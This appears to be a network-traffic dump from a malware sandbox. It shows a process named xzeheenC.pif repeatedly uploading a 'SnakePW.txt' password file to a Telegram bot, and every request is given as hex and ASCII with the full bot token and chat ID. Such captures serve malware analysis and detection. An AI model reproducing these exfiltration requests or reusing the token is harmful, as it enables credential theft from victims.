--------------------------8dd21fe3ea779eeContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:18:09 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:09 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:09 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 30 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 38 39 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418900,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535089,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49966	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:11 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd212895f468d0 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:11 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 31 32 38 39 35 66 34 36 38 64 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd212895f468d0Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:18:11 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:11 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:11 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 30 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 39 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418904,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535091,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49967	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:11 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2140552249de Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:11 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 31 34 30 35 35 32 32 34 39 64 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd2140552249deContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:18:11 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:11 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:11 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 30 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 39 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418907,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535091,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49968	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:11 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd222e6a7585d6 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:11 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 32 32 65 36 61 37 35 38 35 64 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd222e6a7585d6Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:18:11 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:11 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:11 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 30 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 39 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418905,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535091,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49973	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:13 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd214541f09a2e Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:13 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 31 34 35 34 31 66 30 39 61 32 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd214541f09a2eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:18:14 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:13 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:14 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 31 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 39 33 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418910,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535093,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49974	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:13 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd225faa7b54ce Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:13 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 32 35 66 61 61 37 62 35 34 63 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd225faa7b54ceContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:18:14 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:13 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:14 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 31 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 39 33 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418911,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535093,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49976	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:13 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2161f5499881 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:13 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 31 36 31 66 35 34 39 39 38 38 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd2161f5499881Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:18:14 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:13 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:14 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 31 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 39 33 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418913,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535093,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49982	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:15 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd21699b4eabd7 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:15 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 31 36 39 39 62 34 65 61 62 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd21699b4eabd7Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:18:15 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:15 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:15 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 31 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 39 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: 